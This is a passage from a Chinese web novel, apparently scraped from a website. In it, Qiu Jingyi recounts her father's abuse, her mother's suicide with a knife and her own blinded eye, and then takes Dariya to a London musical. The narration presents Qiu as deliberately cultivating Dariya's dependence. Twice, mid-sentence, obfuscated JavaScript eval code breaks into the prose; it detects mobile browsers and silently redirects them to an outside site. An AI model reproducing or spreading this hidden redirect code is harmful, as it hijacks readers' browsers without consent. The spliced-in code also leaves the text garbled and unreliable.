但这对Dariya来说已经足够了,一直低着头的Dariya终于抬眸看向秋景翳,她泪眼婆娑,对上的那双眼睛却是透亮明澈,丝毫没有她害怕看到的鄙夷和歧视。 那双眼睛的主人说:“想要拥有玫瑰,却无法接受她身上的尖刺,不完整的不是玫瑰。” 9. 甘蔗 脚边的空酒瓶越来越多,从像饮料一样的cider开始,到上了点度数的啤酒,再到红酒和烈酒,酒精刚进入身体是会有些许不适,慢慢变得习惯,再到无法释手,两个大概五公分高的扁圆柱形玻璃杯满了又空。 秋景翳看Dariya有些迷茫不知道该做何反应,于是她鬼使神差地说:“你看着我的时候,觉得我是完整的吗?” 头犯晕思维停留在清醒边沿是酒精的作用最美妙的时候,眼里的世界像是开了柔焦不再清澈,入眼的人和物微微放大,显得自己更加渺小,上了锁的记忆秋景翳从不允许任何人触碰,但她现在把钥匙交给了Dariya。 从今晚起,一切都会变得不一样,在各怀鬼胎的人群里,我们有着仅彼此可见的肮脏与瑕疵。 Dariya有些跟不上这对话的节奏,她呆滞地点点头。 秋景翳抬手覆上了左睛,说:“那现在呢?” 第一眼没看出什么异常,仔细一瞧,Dariya看出了不对劲,秋景翳的右眼根本没有聚焦,就连视线也无处安放,她伸手在秋景翳的眼前晃了晃,“你…你这只眼睛,是看不到吗?” 秋景翳点点头,“嗯,所以我和你一样,也是残缺不全的,看吧,其实在另一个人眼里这些并不显眼,甚至会被完全忽略掉,你自己又何必那么在意呢?” Dariya还是有点不敢相信,因为秋景翳看着确实太正常了,“是天生的…还是…” “被打的。” 就算是后天造成的,Dariya也万万没想到是这样一个意外,“怎么会这样…”明明是这么好的一个人,怎么会有人忍心下这样的狠手。 “说来话长”,秋景翳起身似是要去拿什么东西,“你等我一下。” 她从电视柜里拿出了一个纸质的收纳箱,箱子不大倒是立着的那根银闪闪的高尔夫球棍十分显眼,Dariya不禁好奇,“这是…要给我看什么?” “我的过去”,秋景翳挑了下眉毛,她的安慰简单粗暴,互揭伤疤直接高效,“嗯…我看看,从哪个开始说起呢?” “我刚刚是在发泄情绪,我很感激你愿意听我讲…那些事,所以你不用这样的。” “你不是最讲究有来有回吗?我觉得这是个好习惯,学来用用”,秋景翳打着哈哈从收纳箱里抽出第一张照片,是一张合照,“那就从最开始讲起吧。” 合照已经有些泛黄,看起来有些年头,但保存得很平整,边边角角都没有翘起,照片里面有三个人,一对年轻男女中间夹着个尚在襁褓的婴儿,男人看起来约莫二十出头,女人像是十八九,背景是秋景翳很熟悉的地方,海城的公寓。 Dariya接过照片,“这是你的全家福吗?” “嗯,不过就只有这么一张。” “你跟你妈妈长得好像啊,你爸妈也…你爸妈很有夫妻相。” “可他们不是夫妻,我妈只是他养在笼子里的金丝雀,而且她很讨厌我叫她妈妈。” 秋景翳能记清事的时候起,她能去的地方就没有超出过这间公寓的范围,家教保姆按点来,做完事就走,和她待在一起最久的人就是程嘉曦。 秋宇炀倒是毫不避讳自己作为父亲的身份,如果和秋景翳打了照面回打招呼会说“爸爸来了”,多余的话没有,每一次来奔着程嘉曦来的,秋景翳被要求待在房间里。 秋宇炀过夜的次数多到数不清,白天却从不逗留,他每一次来,程嘉曦的身上就会多出新的伤痕,他在床上有施|虐的癖好,每一次秋宇炀离开,程嘉曦都会抓一把药吃进嘴里,直到有一天她双腿中间止不住得淌血,在楼梯上晕倒摔下来被送进医院,住了一个月回来之后,她就再也没碰过那药。 秋景翳说:“以前不懂,后来才知道那是避|孕药,她流产了之后大概是再也无法生育了,所以才不再吃药的,我看得出我爸很爱缠着我妈,但我妈很讨厌他也讨厌我爸的孩子,她那时候身体很健康,我不清楚她用了什么样自虐的办法把自己搞成那样,她是得偿所愿,可我爸明显不高兴了。” 永远不要低估男人的繁衍欲,这能让他们体会到打上标记宣示主权的满足感,尤其是在得不到爱患得患失的时候,那次出事之后,秋宇炀脾气愈发的差,对程嘉曦下手也越狠,这是秋景翳从那些痕迹上看出来的。 秋景翳从箱子底部翻出一把小刀,“这样的日子一直持续到我快九岁”,秋宇炀怕程嘉曦精神出问题,所以家里的墙全部做了软包,窗户都是打不开的,玻璃是不用工具敲不碎的材料,房子里找不的任何坚硬和锋利的东西,餐具是木质的,就连保姆上门做饭都得自带厨具。 这是一把做凶器也不会成为首选的刀,秋景翳拿在手里看了一会,说:“我妈不知从哪搞来的这玩意,当着我的面,没有丝毫犹豫,直接捅进脖子里再拔出来”,她横握着刀比划了一下,“人倒在地上,血喷得满地满墙都是,天花板也没能幸免,我爸看到之后跟疯了一样,虽然他本来也不怎么正常。” 秋景翳的比划不只是刀捅进去拔出来的过程,还有一段距离不短的横移,程嘉曦得有多决绝才能完全无视大脑本能的求生欲做到这样。 颈动脉出血能喷到几米远,随着心跳搏动变弱喷溅的频率和距离也在变小,那天秋景翳站得远,只有星点血迹沾到她雪白的裙角,她第一反应是爱干净的程嘉曦又要说“脏”,但在看到鲜血染红的面容上那令她陌生的平和后,脑袋里又蹦出了一个念头,程嘉曦再也不会觉得脏了。 Dariya听得心里发毛,她想起了第一次见面的那个朗秋,她终于知道秋景翳那天说的那句话被埋没在车流中的后半句是什么了——我在那里没有家。 嘴张了又张也不知道能说些什么,唯有没有体验过父母的爱这一点Dariya感同身受,她最终也只是说了一句,“不是所有人都配当父母。” “是啊”,秋景翳的这两个字伴随着一口长长的呼气一起吐出来,“我妈死后的一段时间,没有人来过问我的死活,我在满是血迹的房间里待了快半个月,所以后来经常做噩梦失眠。” 秋宇炀要封锁消息,给保姆和老师都放了假,还好家里有大米,秋景翳靠米粥度过了那段日子,不然,等待她的只有和程嘉曦一样的结局。 Dariya皱着眉头,她突然想起了一个在此刻无关紧要的点,关于秋景翳挑食她好像终于摸清了规律,“你对肉类很挑剔是不是那时候…” 秋景翳转了下眼珠,惊奇到:“你竟然连这个也注意到了?最开始我因为心理阴影没办法吃红色的东西,现在只是不吃血是红色的肉类”,她又指了指自己脖子上的纹身,“这里,也是这把刀划的。” Dariya没有扯着秋景翳的脖子凑到眼前仔细观察过,纹身遮得很好,她从未发现过里面竟然藏了条伤痕,“竟然是为了遮疤痕,第一次见的时候还以为是条项链呢。” “哈哈,我自己画的图厉害吧”,秋景翳心满意足地夸奖着,“我爸第一次白天来这里”,她指了指照片,“应该是处理好了我妈的后事,他喝得烂醉,看着我的脸…喊我妈的名字…他真是疯了,我感觉到危险,出于自保捅伤了他,也是用这把刀,争执里我也被划伤了,他最受不了别人忤逆他,于是揪着我的头发把我的脑袋往地板上砸,我因此瞎了一只眼睛。” 秋宇炀在配置顶级的医院和疗养院里修养了很久,秋景翳虽没这待遇但秋宇炀并不想她死,因为程嘉曦已经不在了,医生上门为秋景翳处理了外伤,如果去医院好好接受治疗,她的右眼未必会失明,孤儿院也好流落街头也罢,那时候她连死都不怕,满心只想离开那个屋子,不吃饭反抗得也厉害,秋宇炀知道后让人给她绑了束带,就算强迫也要让她活着,她略过了这部分没讲给Dariya听。 “怎么也动手打孩子…”Dariya的爸妈不好是社会环境造成的,而秋景翳的爸爸是单纯的变态,“你知不知道你现在笑得怪让人心疼的,不想说我们就不说了吧?” “我啊?我没事啊,都过去那么久了,我没什么感觉的”,秋景翳满不在乎地耸耸肩,“几个月之后,嫌麻烦吧,也有千万分之一的可能是他良心发现,我被扔来了这里,那之前我连跟外界的接触都少得可怜,鬼知道当时人生地不熟的我一个人有多害怕,不过至少比关在那里强”,其实是因为家里开始怀疑,所以秋宇炀为了守住不可告人的秘密才把秋景翳送了出去。 她又拿出几张照片递了过去,“之后我因为寡言自闭亚裔女生的身份被歧视和霸凌,不停地换学校和寄宿家庭,这些都是那时候的照片。” 这些照片并不是有人特别记录,而是些抓拍和特殊场合中不得不拍的照片,最终这些照片都通过各种途径回到了它们的主人手里。 Dariya一张一张看过去,秋景翳在一点一点长大,她的目光停在其中一张,那张照片里,秋景翳穿着学校的子夜蓝制服,站在路边等红绿灯,车流掀起的风吹乱了她的发梢,零碎的刘海遮挡了眉眼,枫叶正好落到她的鼻子下方的那一刻时间永久定格,眼尾带着水汽,看起来清冷破碎,Dariya不自觉摸了一下照片中秋景翳的脸,“你剪过短发啊?” “剪过一次”,那时候英格兰已经容不下秋景翳了,她辗转去了苏格兰的一个城市,在小岛的北边,“新家有个傲慢的白男小学生,他真的很贱,有次在我头发上粘了很多口香糖,所以就剪了”,秋景翳抽出那根高尔夫球棍,“我和他打过架,他用棒球棍打断了我的胳膊,我用这个打断了他两条腿,打到他跪地不起哭着求饶,可能遗传了我爸吧…不过那之后我没再忍气吞声过”,她的右手食指在左手食指上打了个圈,问:“你…会怕我吗?” Dariya听到秋景翳笑着说出打断别人腿的时候,确实起了鸡皮疙瘩,但她并不怕秋景翳,“当然不会。” “那你觉得我短发怎么样?” “也很好看啊,你长的好看怎样都好看。” “好看”,秋景翳别开视线低头偷笑,这个笑是真心实意的,“谢谢。” “为什么要说谢谢?” “因为…”秋景翳的五官很锋利,长相过分精致因此十分具有攻击力,短发更凸显了她五官的立体度,所以很多人对她短发时期的评价是像个酷哥,“那时候同性恋在学校里是一种叛逆的流行,有些女生明明是直的,却要用我长得比某个男生还帅这种垃圾理由来跟我表白,很讨厌,那些男生也讨厌,哪来那么多没用的嫉妒,有时间不如自己去照照镜子。” “你不是介意用这个词来形容你,是不喜欢被说像男生吧?” “嗯”,秋景翳咬了一下嘴唇又放开,她本不打算深入探讨这个话题,却突然改了主意,“人就喜欢搞这么多条条框框 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904721|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来限制别人,我就不能是因为像我自己所以帅吗?无论我做什么我都是我自己,我认同我的性别和我的行为,所以我讨厌他们这样说。” 这些条款普遍都是为女性而设的限制,女生剪短发,理科学得好,为保护自己而反抗动手打架,就会被说像男生,而男生因为安静腼腆,说话慢条斯理,有相比于运动更文雅一些的爱好,就会被说像女孩,哦不,更难听,叫娘娘腔,为什么像男生的部分大多是好事,而像女生的部分大多都是贬义呢?为什么一定要塑造一个按性别区分的行为守则呢? 都是人,共享一套遗传物质,为什么要因为性别,因为肤色,因为种族,因为信仰而区分高下呢?得利者什么时候才能摒弃他们的自私狭隘贪婪愚蠢呢? Dariya果然对这个话题有兴趣,她思考片刻组织了一下语言,说:“大概是因为人们常常会偏向掌握话语权的那一方,这是一种潜意识的驯服。” 秋景翳问:“那…站在高处刚愎自用的人听不到也不愿意听其他的声音,怎么办呢?” Dariya没说话,她不知道要怎么回答,因为无人在意她的呼喊。 “那就站得跟他们一样高,或者更高的地方”,秋景翳的手虚搭在锁骨,挺直腰身,表情有点臭屁地说:“所以第一步,我考进了剑桥,然后,然后…” Dariya看到秋景翳摇头的动作不太自然,问:“怎么了?” 秋景翳晃了神,刚刚的话到嘴边时她整个人忽然一片空白,有一段记忆好像很重要,它摆在那里却怎么也看不清,“没事,突然想不起来那时候发生了什么,我可能是喝多了吧…总之我爸彻底跟我断了关系,我净身出户差点变homeless,我有个同父异母的哥哥”,她说到这里短暂的停顿了一下,“他叫秋晨”,本来没有必要要说的,她还是提起了这个名字,“他绕开我爸让我借住在这里,我没见过他,按理来说我是私生子,他应该巴不得我死外面才对,可能少爷一时兴起想做慈善,我不想再跟他们家扯上一点关系,所以要赚钱买房子趁早搬出去。” Dariya把东西仔细收回收纳箱里,“一点都看不出来你是个有这么多故事的人呢。” 秋景翳看见Dariya的手搭在身旁的小几上,于是试探着将自己的手靠近,“看吧,其实只要你自己不驻留在阴影里,就不会有人能看得出来。” Dariya在秋景翳的冰凉碰到自己指尖时瑟缩了一下,但她很快就冷静下来,她试着告诉自己不要躲,秋景翳被这样的反应鼓励到了,她捏起Dariya的中指,继而抬起她的整只手,接着向下滑至手掌贴合的位置,Dariya想要收回手,秋景翳迅速将自己的手指插入她的指缝,十指相扣紧紧交握在一起,Dariya的心脏猛地收缩后极速膨胀,血流在身体里乱撞。 “我不介意一直记得曾经的痛苦”,秋景翳握着人的手上稍微加了点力道,她看着Dariya的眼睛说:“呐,你以为黑暗无边无际,其实只用迈出一步就会发现光亮近在咫尺,不要放大恐惧,选择活着就已经足够有勇气了,只要再勇敢一点点,一点点就好,就能走到光亮里去。” Dariya没注意到这个小细节,秋景翳用的是“走到光亮里去”而不是“走到光亮里来”,“可是真的…能做得到吗?” “做不做得到得做了才知道”,秋景翳没有直接给出肯定或否定的回答,而是继续温声说:“改变社会的现有结构不现实,那就拼命往上爬,让自己的声音被听到,让更多处境相似想法相似却没有话语权的人的声音被听到,让那些被社会环境和生理特征赋予了优越感的人平视你仰视你,自愿也好被迫也罢,等到有越来越多这样的人站上高处,那固有的秩序终将被改写,而那些自命不凡却止步不前的生物活该成为进化过程中被代谢掉的垃圾。” 经历摧折过后还能保留着天真和勇敢实在难能可贵,Dariya发现自己意识中陷入沉睡的那部分对秋景翳的话有了反应,她没注意到自己原本僵硬的手指早已回握住了秋景翳,她笑自己的闭塞与愚昧,“我向你输出了一堆负面情绪,你却在用自己的过去开导我,我真是白比你多吃那几年的饭。” 秋景翳这次只有眼睛能看出一点淡淡的笑意,她只说了句:“你的手心出汗了。” Dariya被秋景翳冷不丁的揭穿打乱了思绪,分不清此刻的慌乱是因为酒精捣鬼还是别的,她移开视线,避重就轻到:“我会试着重拾之前没完成的课题,我会学着面对的。” 窗外起了风,越刮越凶,气流蹭得玻璃吱扭作响,偶尔会飘过一朵云,小岛冬天的雨下得还算温柔,细密的银丝挡不住天上的月亮。 “嗯”,秋景翳轻笑一声,她弯腰低下身隔着一把直尺的距离仰视Dariya,溶溶月光照在她的脸上也显逊色,“你知道情绪脱敏吗?” “情绪脱敏?” “嗯,尝试信任我,这次是牵手,下一次…和我拥抱吧?” Dariya出于本能不求回报的关爱和偏心,对秋景翳来说就像是甘蔗汁对一个从没吃过甜的人一样欲罢不能。 尝过了甜头怎么甘心放手? 于是她攻其不备,引诱着主动卸下防备的人,她希望Dariya对自己产生崇拜和依赖,她安抚她的脆弱,自揭伤疤和她共情,她要她心甘情愿地拴在自己身边。 10. 搭戏 Jasmine的年纪还没到上有出勤率要求的学校,她可以长期请假,正好Dariya最近也有空管她,而且答应了秋景翳这段时间要陪她。 十二月上旬某天,Jasmine的学校组织了研学活动需要在外面过夜,秋景翳从学校回来的时候看到家里只有Dariya一个人,问:“嗯?就你一个人啊?Jasmine呢?” “去爱丁堡了,你忘了?学校的活动。” “哦对,都十几号了,我还以为才月初呢”,秋景翳把手里没喝完的瓶装纯净水随手给绿植浇了,以前家里是没有这些花花草草的,都是Dariya一点一点添置的,她顺便感慨到:“可真快啊,又一年过完了。” 秋景翳的伤已经完全不影响生活了,Dariya觉得自己一直住在秋景翳家不太合适,尽管在伦敦找工作和面试要更方便一些,她还是一直都想找个机会和秋景翳说过完圣诞自己就带Jasmine回伯明翰,“那个…我打算圣诞节之后…” 秋景翳没给她机会说完,就提议到:“我们去看音乐剧吧?正好Jasmine不在,it’sakid-freenight~出去放松一下嘛。”(无孩夜) “什么音乐剧啊?” 秋景翳从包里掏出两张票子,Dariya已经习惯了她总是能从各种地方变魔术似的摸出些不寻常的玩意,“DearEvanHansen,你有听过吗?” “没有”,Dariya摇摇头否认,她知道在剧院看剧是伦敦一项流行百年的消遣,但她并没有什么机会去陶冶情操。 “是我很喜欢的一部剧,从外百老汇首演到登上百老汇舞台只花了八个月,这剧拿了六项托尼奖*九项提名,还有一项格莱美,好不容易又来伦敦,我可不想错过”,秋景翳一点点撒娇的语气拿捏得很好,让Dariya无法拒绝。 Dariya冲她笑了笑,“那好啊,既然都开到家门口了,怎们好让你错过啊?” “嘿嘿,嗯”,秋景翳看了眼表,对着Dariya挤了挤眼睛,“还有点时间,既然是享受生活,那…打扮一下?” Dariya没有化过妆,以前的生活环境就不多说了,来英之后日子过得也仓促没心思鼓捣,好在天生丽质素颜也标志,“打扮?可我不会化妆,也没有什么衣服啊…” “我会啊,我有啊”,秋景翳拉着Dariya到梳妆台前坐下,“你就乖乖坐好,剩下的放心交给我吧”,她的肤色要比Dariya浅一度,于是在干净的玻璃片上挤了粉底,用阴影和精油自己手动调色,别说,成果瞧着还挺有模有样。 Dariya被安顿在梳妆台前向下凹陷的椅子上,她靠在椅背上,椅子的设计非常符合人体工学,她却紧绷着身体连呼吸都要用力克制,因为秋景翳此刻正曲着那双长腿靠在桌沿,躬腰在自己脸上描描画画,那样专注,两个人之间只隔了一只化妆刷的距离。 Dariya看着近在咫尺的面庞出了神,故作镇定的躯壳下心脏却像是要撞碎她的伪装那般奋力跳动,她二十八岁了不是懵懂稚童,她很清楚自己对秋景翳有了不可说的心思,和秋景翳这样的人接触之后不喜欢她才不正常,都不用提她还为自己做过什么。 捏着扶手的指尖不断收紧传来钝痛,秋景翳没有喷香水,但Dariya隐隐约约闻到了晚香玉的味道,其实这只是多年前她偶然见到这种花时的记忆被投射在了眼前的场景,她记得学校的植物园里培植着这种乳白色的花,晚香玉喜欢温暖湿润阳光充足的环境,在那里阳光不是什么稀罕物水分是,但晚香玉没有娇贵的等待凋零,而是在黑夜降临时愈发幽香四溢。 在她正要对比自己一身寒酸味道时,晚香玉的花枝触碰了她。 “好啦”,秋景翳把镜子举到Dariya面前轻轻戳了一下她的肩膀,“发什么呆呢?看看”,没有夸张的妆容,只是让那张本就近乎完美的脸更显精致矜持不容亵玩,“Dariya,你知不知道,你很漂亮。” Dariya脸红了,粉底帮她打了掩护,可耳朵上的红晕无处可藏,她不是没听过别人夸她漂亮,但这样不带凝视或着嫉妒,纯粹的正向反馈还是头一次,她小声说:“谢谢…” 秋景翳直起身,给自己化妆因为顺手三两下就收拾好了,她拉起Dariya,“跟我来,我找身衣服给你穿。” 入场时间是晚上六点,出门的时候天已经黑了。 今晚要去的No?lCowardTheatre(剧院名)隶属于大名鼎鼎的WestEndTheaters(伦敦西区),和BroadwayTheatre(百老汇)一同代表mercialtheatreintheEnglish-speakingworld(英语区的商业剧院)的最高评级(highestlevel)。 伦敦西区的剧院大多是维多利亚时代和爱德华时代的建筑,建筑外墙挂着从上个世纪传承下来的霓虹灯标牌,整条街道有种被时间淘洗过的繁荣,仿佛只消站在这里就会被艺术侵染。 临近圣诞,这片区域算得上是整个小岛最热闹的地方,挤在人群里,秋景翳和Dariya放在身侧的手总会不经意蹭在一起。 这样的剐蹭没持续多久,Dariya的手就被反扣住了,秋景翳的手还是一如既往的冰凉。 “干…干嘛走路也牵手”,Dariya在上次秋景翳提了脱敏训练后,已经习惯了她在家总不打招呼就上手,但在外面还是会别扭,像…约会似的,她心里这么想嘴上没出声。 秋景翳学过读心术一样,她故意前后小幅度甩着胳膊开玩笑说:“像不像在约会?” Dariya心虚,“别闹…”心虚里还有点压抑不住的小庆幸。 秋景翳却是毫不在意,坦坦荡荡到:“今晚是个难得的晴天嘛,做点应景的事,假装一下。” 阴雨连绵了一周多,今晚的圆月难得一见。 秋景翳牵着Dariya的手走在两人并肩拥挤一人独行空荡的人行道上,错着半个身位,这一刻她们像是剧的主角。 排队检票入场的时候,秋景翳和一个金发美女无意间对上了视线,社会氛围就是这种情况下大家会互相聊两句无关痛痒的话。 于是金发美女挽着自己的丈夫,摆出了个无奈的表情说:“Quitealongqueue,isn’tit?Iloveyouroutfitbytheway.”(好长的队哦!我喜欢你今天的穿着) 秋景翳礼貌微笑,回到:“Thankyou.Youlookglorioustoo.”(谢谢夸奖,你也容光焕发呢) Dariya注意到虽没有dresscode(着装要求),但来看剧的人出于对剧场的尊重,即便不是盛装出席却也没人穿着随意,她平常那些太休闲放松的衣服的确有些不合适,秋景翳四两拨千金地维护了她的自尊心又避免了尴尬。 两个人商业互捧了一通后,又开了几个老掉牙的口音笑话,金发美女说:“MeandmyhusbandfollowedthistourfromNewYorktoLondon.Itismyfavoritemusical.”(我和我老公追着这个巡演,从纽约到伦敦,这是我最喜欢的音乐剧) 秋景翳:“It’smyfavouritetoo!”(我也是) 金发:“Ilovethequote‘I’montheground.Hestogetme.Andeverything’sokay.’I’msorry,Ihavesuchabadmemory.Icouldn’trememberitprecisely.ThenImetmy ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904722|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' husband,mytruelovemysoulmate.”(我最喜欢那句台词‘我倒在地上,他来接我了,然后一切都会好的’,抱歉啊我这烂记性,记不清具体的话怎么说了,之后我就遇见了我老公,我的真爱和灵魂伴侣) 这部剧秋景翳看过无数次录播,每一句台词都能背得出来,她看着眼神都在缠绵悱恻的夫妇,补全了这句话,“AndIsuddenlyfeelthebranchgiveway.I’montheground.MyarmgoesnumbIlookaround.AndIseehietogetme.He’etogetme.Andeverything’sokay.”(突然我感觉到树枝断裂了,我摔在地上,手臂麻木,四处张望,我看到他来救我了,他救了我,一切都没事了) 金发:“Brilliant!Howaboutyou?What’rethemostimpressivelinestoyou?”(好棒!你呢?有没有什么印象深刻的台词?) 秋景翳只短短说了句:“ThemeIamisnotthemeIwas.” 今日我非昨日我,明日身即此日身。 秋景翳讲的是非常标准的英音,说话时嘴巴不会像对面那两位一样大张大合,也没有矫揉造作的拐音和吞音,语速适中吐字清晰,是一种刻在骨子里的礼节,听起来让人十分舒服,没有正常生活的那几年,起码她的教育是一点没落下。 Dariya静静听着,眼睛却在看着秋景翳,没成想撞上了她的余光,正好入了场,Dariya丢了个sharpturn(生硬的转折)出来:“我去那边看一下分布图,找找座位在哪里。” 秋景翳定得位置很好,是Stalls(正厅前排的位置),价格自然也是要高出一截。 互相暴露不堪的夜晚,Dariya觉得她们两个之间有种与其他人不可能产生的亲密,而此刻看着秋景翳优雅落座,肩背放松也有种浑然天成的气质吊着,Dariya清楚地意识到秋景翳骨子里是有讲究的,即便在最狼狈的时候,言谈举止都带着上流社会里的习惯,她是落魄贵族,到底和自己是不一样的人。 这种若即若离的感觉,狠狠揉捏了一把Dariya的心脏。 台上的演员正说着:“Evenwhenthedarescrashingthrough,whenyouneedsomeocarryyou,whenyou’rebrokenontheground,youwillbefound.”(即使当黑暗如洪水般席卷而来,当你需要有人抓住你,当你摔倒在地上的时候,会有人为你而来的) 坐在昏暗到只能看清轮廓的观众席上,整场演出里秋景翳只在这时用只有她们两个能听见的声音,对Dariya说:“我改主意了,现在我最喜欢这一句。” Dariya在整场演出里落过一次泪,那时候台词在说:“Ilookeduponcemore,atthewholeworld;itwasbeautiful,Iknewitwas,butIwasn’tapartofit.Iwasnevergoingtobeapartofit.”(我又一次抬头看了看整个世界,它无疑是美丽的,我从未质疑过她的美丽,但我并不是它的一部分,我也永远不会成为它的一部分) 她想,去过地狱没关系,对这个世界没有归属感也无所谓,蹚过了刀山火海,她在尽头遇到了一个人,那个人和她一样遍体鳞伤,却牵住了她的手,粘稠的血液顺着十指相扣的缝隙流到地上,亲密无间。 或许,过去也该在这里翻篇了。 但那些仍血流不止的陈旧伤痕真的会愈合吗? 谁知道呢… 11. 陈醋 散场的时候,秋景翳邻座的男士要了她的联系方式,她也大大方方地给了。 Dariya没细细研究,只记得那人身高逼近一米九,浅金色的头发一丝不苟梳了个背头,身上的套装看起来不便宜,长相毫无疑问是英俊的,至少也是个精英阶层。 秋景翳打断了她的思绪,“散步回去吗?也不远,还可以路过牛津街和摄政街。” “好啊,正好今天天气不错。” 伦敦的街景一会是上了年纪的古典建筑,一会是钢筋水泥的玻璃大楼,路很少有直来直去的,动不动就有个小叉路,两条路间的微小差距显示在地图上,如果走岔了就连导航都要反应半天才会提示“您已偏离路线”,但秋景翳闭着眼睛走也丢不了。 红色的双层巴士一辆接一辆从身边开过,摄政街上,从头到尾都是巨大的天使灯在不停闪烁,路边的店铺有一个算一个,都高调地挂出画着自家logo的旗帜。 十二月夜幕降临后的伦敦很冷,摄政街除外。 每年圣诞季的时候,好像全伦敦,哦不,是全英国的人都挤在了这里,Dariya心里一阵无端的烦躁,憋了口无处发泄的闷火。 秋景翳在一旁不停回消息,她打字飞速,手上没有一丝多余的脂肪,骨节修长匀称,手指敲击屏幕的声音好像把Dariya的神经拉成了吉他琴弦反复拨弄。 一直发消息就算了,还笑得那么灿烂,正好走到一个路口,Dariya有点不高兴地对低头看手机的秋景翳说了句“小心看路”后,就自顾自地过了马路。 过到一半的时候绿灯跳红,她回头一看,秋景翳竟然真的没有跟上来。 马路被半米宽类似人行道的凸起从中间一分为二,那里正好是和天使灯合照的最佳机位,Dariya正站在那上面。 秋景翳一时不查,没抓住绿灯的尾巴,她隔着车流看向Dariya,天使灯恰巧进入变暗周期,她鬼使神差举起手机点开相机,车流的空隙,头顶天使彻底暗淡的那一刻,相机的光圈正好落在Dariya身上,她就在这一瞬间按下了快门。 Dariya的肩上搭着件雪白披肩,棕色发稍被风轻轻撩起,银灰带绿的眼珠像是蒙着层终年不散的水雾,秋景翳在想,如果回头把这张照片洗出来,那她一定会在照片的背面写:落在地上的天使。 红灯很长,足够Dariya理清纷乱的思绪。 她想,秋景翳是个优秀美丽聪明坚强的人,她站在摩肩接踵的人群里依旧耀眼,会喜欢她的人不计其数,我只是其中平凡不起眼的一个,就算盛装打扮,我站在她身边仍是暗淡无光,是今晚的月色蒙蔽了双眼,让我起了不该有的奢望,能认识就很好了,做朋友已经足够幸运。 狂欢总归是有范围的,走出了热闹,伦敦又恢复成平日里匆忙冷漠一丝不苟的伦敦。 秋景翳猝不及防地抛出了个疑问,“你是不是不高兴了?” Dariya轻声笑了笑,很是温柔:“我为什么不高兴?” 像是揣着答案问问题,秋景翳对答如流,“因为刚刚那个男的?” 不久前拽了缰绳的Dariya此刻已然能够平静回应,她不答反问:“你有没有喜欢过什么人?” “你觉得他是我应该喜欢的人吗?” “那你会喜欢什么样的人呢?”Dariya想起之前在医院茶水间偶遇Jonathan,那时他误会了两个人的关系,他是带着挑拨的目的说:“秋交往过的对象有医生,学者,律师,音乐家…而且都是男的,她没心没肺,吃人不吐骨头,你怎么可能玩得过她啊”,Dariya当时只反驳了他说秋景翳没心没肺这一点。 一人一个问题,没有一句答案,但秋景翳不再玩下去了,她依然没有作答而是把自己的手机递给了Dariya,“我没有直接拒绝他的搭讪是因为我喜欢列表里人多多的,哪怕是当尸体躺着,这会让我有一种奇怪的安全感。” “显然他不会乖乖当尸体,他对你很有好感”,Dariya在聊天记录的开头就看到对面直白的表露心意。 “但我没有,我很擅长把这样的关系引导到朋友的方向,但如果有人非要越界的话,那就只能去黑名单里待着了。” “可你们聊了一路”,说完Dariya就觉得这话从自己的立场讲出来很多余。 多变的天气忽然又起了风,阻力大到让人难以张口,等这阵风平息下来秋景翳才继续说,“你看完。” Dariya往下翻着,秋景翳十分圆滑的把热切的开场白糊弄了过去,对面也是旗鼓相当,自然而然过渡到了别的话题。 男人似乎对高谈阔论有种莫名的执着,只见对方提起了最近的热门话题,AB两国之间的冲突,由于长久以来的土地之争,B国选择采取强硬措施派出先遣部队主动出击,武力占优势的A国控诉B国恐怖袭击并给自己打上了自卫反击的名头,在缓冲地带无差别攻击平民。 这位“政治正确”先生便开始了自以为“性感”的演讲,最有趣的是秋景翳问他为什么这么支持A国说它没错?战争本身不就是错吗?他说因为是B国发动的战争,A国因此死了很多人,秋景翳又问那么缓冲地带枉死的平民呢?他说死亡是战争的必要牺牲。 秋景翳看到Dariya露出嫌弃的表情,说:“本来没想多说,但能碰到这种丧尸都不乐意吃的脑子实在难得,太好奇他接下来还能有什么脑瘫发言。” “跳梁小丑”,Dariya如是评价到。 在这段被秋景翳不留情面地揶揄后,他不死心地换了话题,从哲学聊到艺术,秋景翳也真是什么都涉猎,她倒是游刃有余,显得对面装大尾巴狼一样可笑。 卖弄是蠢货才会做的事,但秋景翳的阴暗面十分受用这些吹捧和殷勤,她审视着他们空泛的大脑和枯槁的灵魂,内心不屑地嘲讽这群极尽丑态,想要取悦却弄巧成拙还毫不自知的小丑。 秋景翳主动暴露自己的恶劣给Dariya看,她喜欢试探,她并不知道自己究竟想从这样的试探里得到什么,一边想要得到些虚无缥缈的东西,一边又在探究这虚无缥缈的东西到底是什么,可能也正是因为这样才让她趋之若鹜,她要和这些东西缠上解不开的羁绊,最后攥在手里时成为她生命的一部分。 Dariya翻到底了,只听秋景翳轻飘飘一句:“下一个话题他要聊情爱了。” 手机还攥在Dariya手里,果不其然,下一条消息弹出来的时候,他开始和秋景翳聊性与爱,聊到床上之前是男人最有耐心的时候。 总之后面的对话得出的结论是他知道自己是个用下半身思考的混蛋但依旧坚持要当个混蛋。 脑瘫发言秋景翳当乐子看得津津有味,但当对方一旦沉不住气发起情来,她就觉得没劲也玩够了,“我聊得起劲是在逗傻子,我今天确实有点过分了,抱歉”,她深谙不能在和别人相处时一直分心这个道理的,今天是一时玩心上头。 手机又一震,秋景翳最后懒得敷衍十分生硬的结束了对话,对面连发两条消息: 